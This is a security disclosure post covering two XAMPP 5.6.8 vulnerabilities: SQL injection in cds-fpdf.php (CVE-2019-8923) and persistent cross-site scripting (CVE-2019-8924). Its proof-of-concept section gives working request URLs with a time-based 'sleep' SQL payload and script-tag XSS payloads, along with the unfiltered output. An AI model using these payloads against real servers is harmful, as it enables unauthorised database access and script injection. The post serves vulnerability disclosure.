[FD] [CVE-2019-8923, CVE-2019-8924] SQL injection and persistent Cross Site Scripting in XAMPP 5.6.8 (and previous)

[Rafael Pedrero <rafael.pedrero@xxxxxxxxx>]

<!--
# Exploit Title: SQL injection in XAMPP 5.6.8 (and previous)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Software Link:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Version: XAMPP 5.6.8
# Tested on: All
# CVE : CVE-2019-8923
# Category: webapps


1. Description

XAMPP through 5.6.8 allows SQL injection via the cds-fpdf.php jahr
parameter. NOTE: This product is discontinued. Affected Product Code Base
XAMPP 1.8.2 (and previous).


2. Proof of Concept

http://localhost/xampp/cds-fpdf.php?interpret=SQLi&titel=SQLi&jahr=1984%20%20AND%20sleep%285%29


3. Solution:

The product is discontinued. Update to last version.

Reference:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.19/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/

-->


<!--
# Exploit Title: Cross Site Scripting in XAMPP 5.6.8 (and previous)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Software Link:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/
# Version: XAMPP 5.6.8
# Tested on: All
# CVE : CVE-2019-8924
# Category: webapps

1. Description

XAMPP through 5.6.8 allows XSS via the cds-fpdf.php interpret or titel
parameter. NOTE: This product is discontinued. Affected Product Code Base
XAMPP 1.8.2 (and previous).


2. Proof of Concept

First Request (not filter the characters's content):
http://X.X.X.X/xampp/cds.php?interpret=
<script>alert("XSS")</script>&titel=XSS&jahr=1984

or Request: http://localhost/xampp/cds.php?interpret=XSS&titel=
<script>alert("XSS")</script>&jahr=1984

Second Request (to xss attack): http://X.X.X.X/xampp/cds-fpdf.php

http://localhost/xampp/cds-fpdf.php?interpret=XSS&titel=
<script>alert("XSS")</script>&jahr=1984

http://localhost/xampp/cds-fpdf.php?interpret=
<script>alert("XSS")</script>&titel=XSS&jahr=1984

When cds-fpdf.php is loaded not filter the characters:
<b><script>alert("XSS")</script></b></td><td class=tabval>

cds.php filter it: <td
class=tabval><b>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</b></td><td
class=tabval>

3. Solution:

The product is discontinued. Update to last version.

Reference:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.19/
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.6.8/

-->

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